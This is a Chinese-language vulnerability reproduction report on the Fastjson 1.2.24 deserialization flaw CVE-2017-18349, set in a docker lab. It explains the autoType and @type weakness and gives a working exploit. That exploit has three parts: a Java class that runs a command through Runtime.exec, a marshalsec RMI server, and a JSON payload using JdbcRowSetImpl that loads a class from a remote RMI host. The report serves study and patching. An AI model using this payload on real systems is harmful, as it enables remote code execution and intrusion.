漏洞简介

CVE-2017-18349是Fastjson 1.2.24版本中的一个反序列化漏洞,该漏洞可能导致远程代码执行(RCE)。Fastjson是一种用于处理JSON数据的Java库,该漏洞允许hacker通过构造恶意的JSON数据来执行任意代码。

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本为 fastjson < 1.2.25


漏洞复现

首先进入fastjson 1.2.24的docker环境,使用java -version查看一下java的版本为1.8.0_102。因为java环境为102,没有com.sun

.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

exp:需要编译成class字节码文件,放在服务器上供靶机远程调用

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;


public class TouchFile {

   static {

       try {

           Runtime rt = Runtime.getRuntime();

           String[] commands = {"touch", "/tmp/test"};

           Process pc = rt.exec(commands);

           pc.waitFor();

       } catch (Exception e) {

           // do nothing

       }

   }

}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

漏洞复现报告:CVE-2017-18349_java

访问漏洞链接,抓包改包。

修改请求方式为POST,Content-Type: application/jsondata:

{

   "b":{

       "@type":"com.sun.rowset.JdbcRowSetImpl",

       "dataSourceName":"rmi://192.168.255.128:9999/#evilclass",

       "autoCommit":true

   }

}

漏洞复现报告:CVE-2017-18349_json_02

进入容器查看是否执行成功(exp在tmp目录下创建一个test文件)。

docker exec -it 容器id bash

漏洞复现报告:CVE-2017-18349_java_03

漏洞修复

安装最新版本或打上官方补丁